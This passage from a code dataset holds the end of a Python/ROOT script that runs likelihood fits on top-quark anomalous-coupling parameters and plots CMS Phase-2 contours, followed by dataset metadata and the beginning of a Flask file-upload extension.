ttXSample.weightInfo.get_weight_yield( ttX_coeffList_reweighted_jes_down[region], **kwargs )\n signal_jes_uncertainty[region] = 1 + (( signal_rate_reweighted_JES_up - signal_rate_reweighted_JES_down ) / (2*signal_rate[region])) if signal_rate[region] > 0 else 1.\n\n bin_name = \"Region_%i\" % i_region\n nice_name = region.__str__()\n c.addBin(bin_name, ['_'.join(s.name.split('_')[1:3]) for s in bg] + ['nonPrompt'] if args.addNonPrompt else ['_'.join(s.name.split('_')[1:3]) for s in bg], nice_name)\n\n c.specifyObservation( bin_name, observation[region] )\n\n c.specifyExpectation( bin_name, 'signal', signal_rate[region] )\n\n if not args.statOnly:\n if not args.noExpUnc:\n c.specifyFlatUncertainty( 'lumi', 1.01 )\n c.specifyUncertainty( 'JES', bin_name, 'signal', signal_jes_uncertainty[region] )\n c.specifyUncertainty( 'btagging', bin_name, 'signal', signal_btagging_uncertainty[region] )\n c.specifyUncertainty( 'mistagging', bin_name, 'signal', signal_mistagging_uncertainty[region] )\n c.specifyUncertainty( 'muonId', bin_name, 'signal', signal_muonId_uncertainty[region] )\n c.specifyUncertainty( 'electronId', bin_name, 'signal', signal_electronId_uncertainty[region] )\n\n for unc in args.addUncertainties:\n c.specifyUncertainty( unc, bin_name, 'signal', 1+(getUncertaintyValue( args.additionalCardFile, args.addBinNumberShift + i_region, 'signal', unc )-1)*args.uncertaintyScale )\n\n if args.addNonPrompt:\n # for nonpromt only nonpromt uncertainty is important\n c.specifyExpectation( bin_name, 'nonPrompt', nonPromptObservation[region] )\n if not args.statOnly: c.specifyUncertainty( 'nonprompt', bin_name, 'nonPrompt', 1+(getUncertaintyValue( args.additionalCardFile, args.addBinNumberShift + i_region, 'nonPromptDD', 'nonprompt' )-1)*args.uncertaintyScale )\n\n #c.specifyExpectation( bin_name, 'ttX_SM', ttX_SM_rate[region] )\n #c.specifyUncertainty( 'JES', bin_name, 'ttX_SM', ttX_SM_jes_uncertainty[region])\n #c.specifyUncertainty( 'btagging',bin_name, 'ttX_SM', ttX_SM_btagging_uncertainty[region])\n\n for background in bg:\n c.specifyExpectation( bin_name, '_'.join( background.name.split('_')[1:3] ), background_rate[region][background.name] )\n if not args.statOnly:\n if not args.noExpUnc:\n c.specifyUncertainty( 'JES', bin_name, '_'.join( background.name.split('_')[1:3] ), background_jes_uncertainty[region][background.name])\n c.specifyUncertainty( 'btagging', bin_name, '_'.join( background.name.split('_')[1:3] ), background_btagging_uncertainty[region][background.name])\n c.specifyUncertainty( 'mistagging', bin_name, '_'.join( background.name.split('_')[1:3] ), background_mistagging_uncertainty[region][background.name])\n c.specifyUncertainty( 'muonId', bin_name, '_'.join( background.name.split('_')[1:3] ), background_muonId_uncertainty[region][background.name])\n c.specifyUncertainty( 'electronId', bin_name, '_'.join( background.name.split('_')[1:3] ), background_electronId_uncertainty[region][background.name])\n for unc in args.addUncertainties:\n if 'tZq' in background.name.split('_') or 'ttgamma' in background.name.split('_') or 'tWZ' in background.name.split('_'): proc = 'TTX'\n elif 'WZ' in background.name.split('_'): proc = 'WZ'\n else: raise ValueError('Background not found: %s' %background.name)\n c.specifyUncertainty( unc, bin_name, '_'.join( background.name.split('_')[1:3] ), 1+(getUncertaintyValue( args.additionalCardFile, args.addBinNumberShift + i_region, proc, unc )-1)*args.uncertaintyScale )\n \n c.writeToFile( cardFilePath )\n\n else:\n logger.info( \"Running only NLL Fit with given CardFile %s\"%cardFilePath)\n\n if not os.path.isfile( cardFilePath ):\n raise ValueError('CardFiles not found! Run script without --fitOnly!')\n\n if args.useCombine:\n # use the official cms combine tool\n# c.calcNuisances( cardFilePath, bestFit=args.bestFit )\n nll = c.calcNLL( cardFilePath, bestFit=args.bestFit )\n# nll = nll['nll0'] #pre-fit\n nll = nll['nll_abs'] #post-fit\n\n if args.removeCardFiles:\n for file in os.listdir( cardfileLocation ):\n if file.startswith( cardname ):\n os.remove( os.path.join( cardfileLocation, file ) )\n\n else:\n if args.bestFit: r = (0.99, 1.01)\n else: r = (0., 2.)\n\n profiledLoglikelihoodFit = ProfiledLoglikelihoodFit( cardFilePath )\n profiledLoglikelihoodFit.make_workspace(rmin=r[0], rmax=r[1])\n nll = profiledLoglikelihoodFit.likelihoodTest()\n profiledLoglikelihoodFit.cleanup(removeFiles=args.removeCardFiles)\n del profiledLoglikelihoodFit\n\n logger.info( \"NLL: %f\", nll)\n ROOT.gDirectory.Clear()\n\n # in very large WC regions, the fit fails, not relevant for the interesting regions\n if nll is None or abs(nll) > 10000 or abs(nll) < 1: nll = 999\n\n del c\n\n return var1, var2, nll\n\n results = []\n\n SM = calculation( (0, 0) )\n\n for varX in xRange:\n # do not run all calc in one pool, memory leak!!!\n pool = Pool( processes = args.cores )\n results += pool.map( calculation, [ (varX, varY) for varY in yRange ] )\n pool.close()\n del pool\n\n with open('tmp/'+filename, 'w') as f:\n for item in [SM]+results:\n f.write( \"%s\\n\" % ','.join( map( str, list(item) ) ) )\n\nelse:\n with open('dat/'+filename, 'r') as f:\n data = f.readlines()\n\n results = []\n for i, line in enumerate(data):\n vals = map( float, line.split('\\n')[0].split(',') )\n if args.scale is not None: vals[2] = vals[2]*float(args.scale)/float(args.luminosity)/2\n if i == 0:\n if vals[0] != 0 or vals[1] != 0:\n raise ValueError('SM Point in data file is not valid!')\n SM = tuple( vals )\n else: results.append( tuple( vals ) )\n\n\n#Plot\n\n#scale to SM\nresults.sort( key = lambda res: ( abs(res[0]), abs(res[1]), res[2] ) )\nnll_SM = SM[2]\n\nresults = [ (x, y, 2*(result - nll_SM)) for x, y, result in results ]\n\ndef toGraph2D( name, title, data ):\n result = ROOT.TGraph2D( len(data) )\n debug = ROOT.TGraph()\n result.SetName( name )\n result.SetTitle( title )\n for i, datapoint in enumerate(data):\n x, y, val = datapoint\n result.SetPoint(i, x, y, val)\n debug.SetPoint(i, x, y)\n c = ROOT.TCanvas()\n result.Draw()\n debug.Draw()\n del c\n #res = ROOT.TGraphDelaunay(result)\n return result, debug\n\ndef convDipolesAnomalousCoupling( c2V, c2A ):\n ctZ = c2V / 0.103\n ctZI = c2A / 0.103\n return round(ctZ,6), round(ctZI,6)\n\ndef convVectorAnomalousCoupling( c1V, c1A ):\n cpQM = ( c1V - c1A - 0.849 ) / ( -0.073 )\n cpt = ( c1V + c1A + 0.357 ) / ( -0.073 )\n return round(cpQM,6), round(cpt,6)\n\ndef convVectorCoupling( cpQM, cpt ):\n c1V = 0.244 - 0.0365 * (cpQM + cpt)\n c1A = -0.601 + 0.0365 * (cpQM - cpt)\n return c1V, c1A\n\ndef convDipoles( ctZ, ctZI ):\n c2V = 0.103 * ctZ\n c2A = 0.103 * ctZI\n return c2V, c2A\n\ndef convertToAnomalousCouplings( res ):\n if \"cpQM\" in args.variables and \"cpt\" in args.variables:\n conversion = convVectorCoupling\n reversed = args.variables[0] == \"cpt\"\n\n elif \"ctZ\" in args.variables and \"ctZI\" in args.variables:\n conversion = convDipoles\n reversed = args.variables[0] == \"ctZI\"\n\n else:\n raise ValueError('Anomalous Coupling conversion not implemented for %s'% \" and \".join(args.variables))\n\n res_conv = []\n for x, y, nll in res:\n if reversed:\n y_conv, x_conv = conversion( y, x )\n else:\n x_conv, y_conv = conversion( x, y )\n\n res_conv.append( (x_conv, y_conv, nll) )\n\n return res_conv\n\n\n#get TGraph2D from results list\na, debug = toGraph2D( args.process, args.process, results )#res_dic)\nresultsAC = convertToAnomalousCouplings(results)\nallX = [x for x, y, nll in resultsAC ]\nallY = [y for x, y, nll in resultsAC ]\nresultsAC.append( ( min(allX),min(allY),999) )\nresultsAC.append( ( min(allX),max(allY),999) )\nresultsAC.append( ( max(allX),min(allY),999) )\nresultsAC.append( ( max(allX),max(allY),999) )\nif \"cpQM\" in args.variables and \"cpt\" in args.variables:\n resultsAC.append( ( -0.47, -0.53, 32) )\n resultsAC.append( ( -0.48, -0.55, 32) )\n resultsAC.append( ( -0.48, -0.58, 32) )\n resultsAC.append( ( 0.61, -0.58, 32) )\n resultsAC.append( ( 0.61, -0.52, 32) )\n resultsAC.append( ( 0.58, -0.5, 32) )\n\nac, debug = toGraph2D( args.process + \"ac\", args.process + \"ac\", resultsAC )#res_dic)\nnxbins = max(1, min(500, int(binningX[0])*int(args.binMultiplier)))\nnybins = max(1, min(500, int(binningY[0])*int(args.binMultiplier)))\n\n#re-bin\nhist = a.GetHistogram().Clone()\na.SetNpx(nxbins)\na.SetNpy(nybins)\nhist = a.GetHistogram().Clone()\n\nhistac = ac.GetHistogram().Clone()\nac.SetNpx(nxbins)\nac.SetNpy(nybins)\nhistac = ac.GetHistogram().Clone()\n\n#smoothing\nif args.smooth:\n hist.Smooth()\n histac.Smooth()\n\ncans = ROOT.TCanvas(\"can_%s\"%args.process,\"\",500,500)\n\n#calculate contour lines (1sigma, 2sigma) for 2D\ncontours = {'ttZ_3l': [2.28, 5.99]}\nif args.contours:\n histsForCont = hist.Clone()\n c_contlist = ((ctypes.c_double)*(len(contours[args.process])))(*contours[args.process])\n histsForCont.SetContour(len(c_contlist),c_contlist)\n histsForCont.Draw(\"contzlist\")\n cans.Update()\n conts = ROOT.gROOT.GetListOfSpecials().FindObject(\"contours\")\n #cont_m2 = conts.At(0).Clone()\n #cont_m1 = conts.At(1).Clone()\n cont_p1 = conts.At(0).Clone()\n cont_p2 = conts.At(1).Clone()\n\npads = ROOT.TPad(\"pad_%s\"%args.process,\"\",0.,0.,1.,1.)\npads.SetRightMargin(0.20)\npads.SetLeftMargin(0.14)\npads.SetTopMargin(0.11)\npads.Draw()\npads.cd()\n\nhist.Draw(\"colz\")\n\n#draw contour lines\nif args.contours:\n for conts in [cont_p2]:\n for cont in conts:\n cont.SetLineColor(ROOT.kOrange+7)\n cont.SetLineWidth(3)\n# cont.SetLineStyle(7)\n cont.Draw(\"same\")\n for conts in [cont_p1]:\n for cont in conts:\n cont.SetLineColor(ROOT.kSpring-1)\n cont.SetLineWidth(3)\n# cont.SetLineStyle(7)\n cont.Draw(\"same\")\n\n\nhist.GetZaxis().SetTitle(\"-2 #Delta ln L\")\n\nif not None in args.zRange:\n hist.GetZaxis().SetRangeUser( args.zRange[0], args.zRange[1] )\n# hist.GetXaxis().SetRangeUser( -0.3 , 0.3 )\n# hist.GetYaxis().SetRangeUser( -0.3 , 0.3 )\n# hist.GetXaxis().SetRangeUser( -1 , 1 )\n# hist.GetYaxis().SetRangeUser( -1 , 1 )\n# hist.GetXaxis().SetRangeUser( -8 , 12 )\n# hist.GetYaxis().SetRangeUser( -8 , 12 )\n\n\nif args.variables[0] == 'cuB' and args.variables[1] == 'cuW':\n hist.GetXaxis().SetTitle('C^{(33)}_{uB} (#Lambda/TeV)^{2}' )\n hist.GetYaxis().SetTitle('C^{(33)}_{uW} (#Lambda/TeV)^{2}' )\nelse:\n xTitle = args.variables[0].replace('c','C_{').replace('p','#phi').replace('M','') + '}' \n if 'I' in xTitle: xTitle = xTitle.replace('I','') + '^{[Im]}'\n yTitle = args.variables[1].replace('c','C_{').replace('p','#phi').replace('M','') + '}' \n if 'I' in yTitle: yTitle = yTitle.replace('I','') + '^{[Im]}'\n hist.GetXaxis().SetTitle( xTitle + ' (#Lambda/TeV)^{2}' )\n hist.GetYaxis().SetTitle( yTitle + ' (#Lambda/TeV)^{2}' )\n\nhist.GetXaxis().SetTitleFont(42)\nhist.GetYaxis().SetTitleFont(42)\nhist.GetZaxis().SetTitleFont(42)\nhist.GetXaxis().SetLabelFont(42)\nhist.GetYaxis().SetLabelFont(42)\nhist.GetZaxis().SetLabelFont(42)\n\nhist.GetXaxis().SetTitleOffset(1.15)\nhist.GetYaxis().SetTitleOffset(1.25)\n\nhist.GetXaxis().SetTitleSize(0.045)\nhist.GetYaxis().SetTitleSize(0.045)\nhist.GetZaxis().SetTitleSize(0.042)\nhist.GetXaxis().SetLabelSize(0.04)\nhist.GetYaxis().SetLabelSize(0.04)\nhist.GetZaxis().SetLabelSize(0.04)\n\nlatex1 = ROOT.TLatex()\nlatex1.SetNDC()\nlatex1.SetTextSize(0.04)\nlatex1.SetTextFont(42)\nlatex1.SetTextAlign(11)\n\nlatex1.DrawLatex(0.03, 0.92, '#bf{CMS Phase-2} #it{Simulation Preliminary}'),\n#latex1.DrawLatex(0.15, 0.95, '#bf{CMS Phase-2} #it{Simulation Preliminary}'),\nlatex1.DrawLatex(0.68, 0.92, '%i ab{}^{-1} (%s TeV)' % (int(args.luminosity/1000.), \"14\" if args.scale14TeV else \"13\"))\n\nlatex2 = ROOT.TLatex()\nlatex2.SetNDC()\nlatex2.SetTextSize(0.04)\nlatex2.SetTextFont(42)\nlatex2.SetTextAlign(11)\n\n#latex2.DrawLatex(0.15, 0.9, 'with Stat. uncert. only' if args.statOnly else 'with YR18 syst. uncert.' if not args.noExpUnc else 'w/o Exp. uncert.'),\nif (args.noExpUnc or args.statOnly): latex2.DrawLatex(0.17, 0.82, 'Stat. uncert. only' if args.statOnly else 'w/o Exp. uncert.'),\n\n#latex1.DrawLatex(0.15, 0.92, ' '.join(args.process.split('_')[:2]) + ' (' + args.detector + ')')\n#latex1.DrawLatex(0.55, 0.92, '%3.1f fb{}^{-1} @ 13 TeV'%(float(args.luminosity) if args.scale is None else float(args.scale)) )\n\nplot_directory_ = os.path.join(\\\n plot_directory,\n '%s_%s'%(args.level, args.version),\n args.detector,\n args.sample,\n 'backgrounds',\n 'nll_small' if args.small else 'nll',\n args.selection)\n\nif not os.path.isdir( plot_directory_ ):\n os.makedirs( plot_directory_ )\n\nfor e in [\".png\",\".pdf\",\".root\"]:\n cans.Print( plot_directory_ + '/' + '_'.join(args.variables + ['lumi'+str(args.luminosity) if args.scale is None else 'lumi'+str(args.scale), \"14TeV\" if args.scale14TeV else \"13TeV\", \"CMScombine\" if args.useCombine else \"privateFit\", \"bestFit\" if args.bestFit else \"r1\", 'statOnly' if args.statOnly else 'fullUnc' if not args.noExpUnc else 'noExpUnc']) + e)\n\ndel cans\ndel hist\n# plot anomalous couplings\n\nargs.variables[0] = args.variables[0].replace('pQM','1V').replace('pt','1A').replace('tZ','2V').replace('2VI','2A')\nargs.variables[1] = args.variables[1].replace('pQM','1V').replace('pt','1A').replace('tZ','2V').replace('2VI','2A')\n\ncans = ROOT.TCanvas(\"can_%s\"%args.process,\"\",500,500)\n\n#calculate contour lines (1sigma, 2sigma) for 2D\ncontours = {'ttZ_3l': [2.28, 5.99]}\nif args.contours:\n histsForCont = histac.Clone()\n c_contlist = ((ctypes.c_double)*(len(contours[args.process])))(*contours[args.process])\n histsForCont.SetContour(len(c_contlist),c_contlist)\n histsForCont.Draw(\"contzlist\")\n cans.Update()\n conts = ROOT.gROOT.GetListOfSpecials().FindObject(\"contours\")\n #cont_m2 = conts.At(0).Clone()\n #cont_m1 = conts.At(1).Clone()\n cont_p1 = conts.At(0).Clone()\n cont_p2 = conts.At(1).Clone()\n\npads = ROOT.TPad(\"pad_%s\"%args.process,\"\",0.,0.,1.,1.)\npads.SetRightMargin(0.20)\npads.SetLeftMargin(0.14)\npads.SetTopMargin(0.11)\npads.Draw()\npads.cd()\n\nhistac.Draw(\"colz\")\n\n#draw contour lines\nif args.contours:\n for conts in [cont_p2]:\n for cont in conts:\n cont.SetLineColor(ROOT.kOrange+7)\n cont.SetLineWidth(3)\n# cont.SetLineStyle(7)\n cont.Draw(\"same\")\n for conts in [cont_p1]:\n for cont in conts:\n cont.SetLineColor(ROOT.kSpring-1)\n cont.SetLineWidth(3)\n# cont.SetLineStyle(7)\n cont.Draw(\"same\")\n\n\nhistac.GetZaxis().SetTitle(\"-2 #Delta ln L\")\n\nif not None in args.zRange:\n histac.GetZaxis().SetRangeUser( args.zRange[0], args.zRange[1] )\n# if \"c1V\" in args.variables and \"c1A\" in args.variables:\n# histac.GetYaxis().SetRangeUser( -0.8 , -0.4 )\n# histac.GetXaxis().SetRangeUser( -1 , 1 )\n# histac.GetYaxis().SetRangeUser( -1 , 1 )\n# histac.GetXaxis().SetRangeUser( -8 , 12 )\n# histac.GetYaxis().SetRangeUser( -8 , 12 )\n\n\nxTitle = args.variables[0].replace('c','C_{') + '}' \nyTitle = args.variables[1].replace('c','C_{') + '}' \n\nhistac.GetXaxis().SetTitle( xTitle )\nhistac.GetYaxis().SetTitle( yTitle )\n\nhistac.GetXaxis().SetTitleFont(42)\nhistac.GetYaxis().SetTitleFont(42)\nhistac.GetZaxis().SetTitleFont(42)\nhistac.GetXaxis().SetLabelFont(42)\nhistac.GetYaxis().SetLabelFont(42)\nhistac.GetZaxis().SetLabelFont(42)\n\nhistac.GetXaxis().SetTitleOffset(1.15)\nhistac.GetYaxis().SetTitleOffset(1.25)\n\nhistac.GetXaxis().SetTitleSize(0.045)\nhistac.GetYaxis().SetTitleSize(0.045)\nhistac.GetZaxis().SetTitleSize(0.042)\nhistac.GetXaxis().SetLabelSize(0.04)\nhistac.GetYaxis().SetLabelSize(0.04)\nhistac.GetZaxis().SetLabelSize(0.04)\n\nlatex1 = ROOT.TLatex()\nlatex1.SetNDC()\nlatex1.SetTextSize(0.04)\nlatex1.SetTextFont(42)\nlatex1.SetTextAlign(11)\n\nlatex1.DrawLatex(0.03, 0.92, '#bf{CMS Phase-2} #it{Simulation Preliminary}'),\n#latex1.DrawLatex(0.15, 0.95, '#bf{CMS Phase-2} #it{Simulation Preliminary}'),\nlatex1.DrawLatex(0.68, 0.92, '%i ab{}^{-1} (%s TeV)' % (int(args.luminosity/1000.), \"14\" if args.scale14TeV else \"13\"))\n\nlatex2 = ROOT.TLatex()\nlatex2.SetNDC()\nlatex2.SetTextSize(0.04)\nlatex2.SetTextFont(42)\nlatex2.SetTextAlign(11)\n\n#latex2.DrawLatex(0.15, 0.9, 'with Stat. uncert. only' if args.statOnly else 'with YR18 syst. uncert.' if not args.noExpUnc else 'w/o Exp. uncert.'),\nif (args.noExpUnc or args.statOnly): latex2.DrawLatex(0.17, 0.82, 'Stat. uncert. only' if args.statOnly else 'w/o Exp. uncert.'),\n\n#latex1.DrawLatex(0.15, 0.92, ' '.join(args.process.split('_')[:2]) + ' (' + args.detector + ')')\n#latex1.DrawLatex(0.55, 0.92, '%3.1f fb{}^{-1} @ 13 TeV'%(float(args.luminosity) if args.scale is None else float(args.scale)) )\n\nplot_directory_ = os.path.join(\\\n plot_directory,\n '%s_%s'%(args.level, args.version),\n args.detector,\n args.sample,\n 'backgrounds',\n 'nll_small' if args.small else 'nll',\n args.selection)\n\nif not os.path.isdir( plot_directory_ ):\n os.makedirs( plot_directory_ )\n\nfor e in [\".png\",\".pdf\",\".root\"]:\n cans.Print( plot_directory_ + '/' + '_'.join(args.variables + ['lumi'+str(args.luminosity) if args.scale is None else 'lumi'+str(args.scale), \"14TeV\" if args.scale14TeV else \"13TeV\", \"CMScombine\" if args.useCombine else \"privateFit\", \"bestFit\" if args.bestFit else \"r1\", 'statOnly' if args.statOnly else 'fullUnc' if not args.noExpUnc else 'noExpUnc']) + e)\n\n", "sub_path": "plots/plotsLukas/profiledloglikelihood/NLLPlot.py", "file_name": "NLLPlot.py", "file_ext": "py", "file_size_in_byte": 40955, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ROOT.gROOT.SetBatch", "line_number": 14, "usage_type": "call"}, {"api_name": "ROOT.gROOT", "line_number": 14, "usage_type": "attribute"}, {"api_name": "TTXPheno.Tools.logger", "line_number": 25, "usage_type": "name"}, {"api_name": "TTXPheno.Tools.logger.get_logger", "line_number": 25, "usage_type": "call"}, {"api_name": "RootTools.core.logger", "line_number": 26, "usage_type": "name"}, {"api_name": "RootTools.core.logger.get_logger", "line_number": 26, "usage_type": "call"}, {"api_name": "ROOT.gStyle.SetNumberContours", "line_number": 35, "usage_type": "call"}, {"api_name": "ROOT.gStyle", "line_number": 35, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 110, "usage_type": "call"}, {"api_name": "imp.load_source", "line_number": 128, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 152, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.cutInterpreterReco.cutInterpreter.cutString", "line_number": 155, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.cutInterpreterReco.cutInterpreter", "line_number": 155, "usage_type": "name"}, {"api_name": "TTXPheno.Tools.WeightInfo.WeightInfo", "line_number": 169, "usage_type": "call"}, {"api_name": "TTXPheno.Analysis.regions.recottgammaRegions", "line_number": 214, "usage_type": "argument"}, {"api_name": "TTXPheno.Tools.logger.info", "line_number": 217, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.logger", "line_number": 217, "usage_type": "name"}, {"api_name": "plot_helpers.getObservationValue", "line_number": 282, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.user.cardfileLocation", "line_number": 327, "usage_type": "argument"}, {"api_name": "TTXPheno.Tools.cardFileWriter.cardFileWriter.cardFileWriter", "line_number": 329, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.cardFileWriter.cardFileWriter", "line_number": 329, "usage_type": "name"}, {"api_name": "TTXPheno.Tools.user.combineReleaseLocation", "line_number": 331, "usage_type": "name"}, {"api_name": "TTXPheno.Analysis.regions.recottgammaRegions", "line_number": 350, "usage_type": "argument"}, {"api_name": "plot_helpers.getUncertaintyValue", "line_number": 395, "usage_type": "call"}, {"api_name": "plot_helpers.getUncertaintyValue", "line_number": 400, "usage_type": "call"}, {"api_name": "plot_helpers.getUncertaintyValue", "line_number": 419, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.logger.info", "line_number": 424, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.logger", "line_number": 424, "usage_type": "name"}, {"api_name": "TTXPheno.Tools.user.cardfileLocation", "line_number": 437, "usage_type": "argument"}, {"api_name": "TTXPheno.Tools.user.cardfileLocation", "line_number": 439, "usage_type": "argument"}, {"api_name": "TTXPheno.Analysis.ProfiledLoglikelihoodFit.ProfiledLoglikelihoodFit", "line_number": 445, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.logger.info", "line_number": 451, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.logger", "line_number": 451, "usage_type": "name"}, {"api_name": "ROOT.gDirectory.Clear", "line_number": 452, "usage_type": "call"}, {"api_name": "ROOT.gDirectory", "line_number": 452, "usage_type": "attribute"}, {"api_name": "multiprocessing.Pool", "line_number": 467, "usage_type": "call"}, {"api_name": "ROOT.TGraph2D", "line_number": 500, "usage_type": "call"}, {"api_name": "ROOT.TGraph", "line_number": 501, "usage_type": "call"}, {"api_name": "ROOT.TCanvas", "line_number": 508, "usage_type": "call"}, {"api_name": "ROOT.TCanvas", "line_number": 596, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 602, "usage_type": "attribute"}, {"api_name": "ROOT.gROOT.GetListOfSpecials", "line_number": 606, "usage_type": "call"}, {"api_name": "ROOT.gROOT", "line_number": 606, "usage_type": "attribute"}, {"api_name": "ROOT.TPad", "line_number": 612, "usage_type": "call"}, {"api_name": "ROOT.kOrange", "line_number": 625, "usage_type": "attribute"}, {"api_name": "ROOT.kSpring", "line_number": 631, "usage_type": "attribute"}, {"api_name": "ROOT.TLatex", "line_number": 677, "usage_type": "call"}, {"api_name": "ROOT.TLatex", "line_number": 687, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.user.plot_directory", "line_number": 700, "usage_type": "argument"}, {"api_name": "ROOT.TCanvas", "line_number": 721, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 727, "usage_type": "attribute"}, {"api_name": "ROOT.gROOT.GetListOfSpecials", "line_number": 731, "usage_type": "call"}, {"api_name": "ROOT.gROOT", "line_number": 731, "usage_type": "attribute"}, {"api_name": "ROOT.TPad", "line_number": 737, "usage_type": "call"}, {"api_name": "ROOT.kOrange", "line_number": 750, "usage_type": "attribute"}, {"api_name": "ROOT.kSpring", "line_number": 756, "usage_type": "attribute"}, {"api_name": "ROOT.TLatex", "line_number": 797, "usage_type": "call"}, {"api_name": "ROOT.TLatex", "line_number": 807, "usage_type": "call"}, {"api_name": "TTXPheno.Tools.user.plot_directory", "line_number": 820, "usage_type": "argument"}]} {"seq_id": "532061878", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nflup\n================\nThis module provides upload support for Flask. The basic pattern is to set up\nan `UploadSet` object and upload your files to it.\n\"\"\"\nimport os.path\nimport posixpath\nfrom flask import current_app, Blueprint, send_from_directory, abort, url_for\nfrom itertools import chain\nfrom werkzeug import secure_filename, FileStorage, LocalProxy\n\n_flup = LocalProxy(lambda: current_app.extensions['flup'])\n\n\nclass AllExcept(object):\n def __init__(self, items):\n self.items = items\n\n def __contains__(self, item):\n return item not in self.items\n\n\nclass All(object):\n def __contains__(self, item):\n return True\n\nTEXT = ('txt',)\nDOCUMENTS = tuple('rtf odf ods gnumeric abw doc docx xls xlsx'.split())\nIMAGES = tuple('jpg jpe jpeg png gif svg bmp'.split())\nAUDIO = tuple('wav mp3 aac ogg oga flac'.split())\nDATA = tuple('csv ini json plist xml yaml yml'.split())\nSCRIPTS = tuple('js php pl py rb sh'.split())\nARCHIVES = tuple('gz bz2 zip tar tgz txz 7z'.split())\nEXECUTABLES = tuple('so exe dll'.split())\nALL = All()\nDEFAULTS = TEXT + DOCUMENTS + IMAGES + DATA\n\n\nclass UploadNotAllowed(Exception):\n pass\n\n\ndef tuple_from(*iters):\n return tuple(itertools.chain(*iters))\n\n\ndef extension(filename):\n return filename.rsplit('.', 1)[-1]\n\n\ndef lowercase_ext(filename):\n if '.' in filename:\n main, ext = filename.rsplit('.', 1)\n return main + '.' + ext.lower()\n else:\n return filename.lower()\n\n\ndef addslash(url):\n if url.endswith('/'):\n return url\n return url + '/'\n\n\nclass UploadConfiguration(object):\n def __init__(self, destination, base_url=None, allow=(), deny=()):\n self.destination = destination\n self.base_url = base_url\n self.allow = allow\n self.deny = deny\n\n @property\n def tuple(self):\n return (self.destination, self.base_url, self.allow, self.deny)\n\n def __eq__(self, other):\n return self.tuple == other.tuple\n\n\nclass UploadSet:\n def __init__(self, name='files', extensions=DEFAULTS):\n if not name.isalnum():\n raise ValueError(\"Name must be alphanumeric (no underscores)\")\n self.name = name\n self.extensions = extensions\n self._config = None\n\n @property\n def config(self):\n if self._config is not None:\n return self._config\n try:\n return _flup.upload_sets_config[self.name]\n except AttributeError:\n raise RuntimeError(\"cannot access configuration outside request\")\n\n def url(self, filename):\n base = self.config.base_url\n if base is None:\n return url_for('_uploads.uploaded_file', setname=self.name,\n filename=filename, _external=True)\n else:\n return base + filename\n\n def path(self, filename, folder=None):\n if folder:\n target_folder = os.path.join(self.config.destination, folder)\n else:\n target_folder = self.config.destination\n return os.path.join(target_folder, filename)\n\n def file_allowed(self, storage, basename):\n return self.extension_allowed(extension(basename))\n\n def extension_allowed(self, ext):\n return ((ext in self.config.allow) or\n (ext in self.extensions and ext not in self.config.deny))\n\n def save(self, storage, folder=None, name=None):\n if not isinstance(storage, FileStorage):\n raise TypeError(\"storage must be a werkzeug.FileStorage\")\n\n if folder is None and name is not None and \"/\" in name:\n folder, name = name.rsplit(\"/\", 1)\n\n basename = lowercase_ext(secure_filename(storage.filename))\n\n if name:\n if name.endswith('.'):\n basename = name + extension(basename)\n else:\n basename = name\n\n if not self.file_allowed(storage, basename):\n raise UploadNotAllowed()\n\n if folder:\n target_folder = os.path.join(self.config.destination, folder)\n else:\n target_folder = self.config.destination\n if not os.path.exists(target_folder):\n os.makedirs(target_folder)\n if os.path.exists(os.path.join(target_folder, basename)):\n basename = self.resolve_conflict(target_folder, basename)\n\n target = os.path.join(target_folder, basename)\n storage.save(target)\n if folder:\n return posixpath.join(folder, basename)\n else:\n return basename\n\n def resolve_conflict(self, target_folder, basename):\n name, ext = basename.rsplit('.', 1)\n count = 0\n while True:\n count = count + 1\n newname = '{}_{:d}.{}'.format(name, count, ext)\n if not os.path.exists(os.path.join(target_folder, newname)):\n return newname\n\n\nclass TestingFileStorage(FileStorage):\n def __init__(self, stream=None, filename=None, name=None,\n content_type='application/octet-stream', content_length=-1,\n headers=None):\n FileStorage.__init__(self,\n stream,\n filename,\n name=name,\n content_type=content_type,\n content_length=content_length,\n headers=None)\n self.saved = None\n\n def save(self, dst, buffer_size=16384):\n if isinstance(dst, str):\n self.saved = dst\n else:\n self.saved = dst.name\n\n\nclass Flup(object):\n \"\"\"\n :param app: The application\n :param upload_sets: A list of instances of UploadSets\n \"\"\"\n def __init__(self,\n app=None,\n upload_sets=None):\n self.app = app\n self.upload_sets = upload_sets\n self.upload_sets_config = {}\n\n if app is not None:\n self.app = app\n self.init_app(self.app)\n else:\n self.app = None\n\n def init_app(self, app):\n self.register_upload_sets(app, self.upload_sets)\n\n should_serve = any(s.base_url is None\n for s in iter(self.upload_sets_config.values()))\n\n if '_uploads' not in app.blueprints and should_serve:\n app.register_blueprint(self._blueprint)\n\n app.extensions['flup'] = self\n\n def register_upload_sets(self, app, upload_sets):\n for uset in upload_sets:\n uset_config = self.config_for_set(uset, app)\n self.upload_sets_config[uset.name] = uset_config\n\n def config_for_set(self, uset, app):\n app_config = app.config\n prefix = 'UPLOADED_{}_'.format(uset.name.upper())\n using_defaults = False\n\n app_default_dest = app_config.get('UPLOADS_DEFAULT_DEST', None)\n app_default_url = app_config.get('UPLOADS_DEFAULT_URL', None)\n\n allow_extns = tuple(app_config.get('{}{}'.format(prefix, 'ALLOW'), ()))\n deny_extns = tuple(app_config.get('{}{}'.format(prefix, 'DENY'), ()))\n destination = app_config.get('{}{}'.format(prefix, 'DEST'))\n base_url = app_config.get('{}{}'.format(prefix, 'URL'))\n\n if destination is 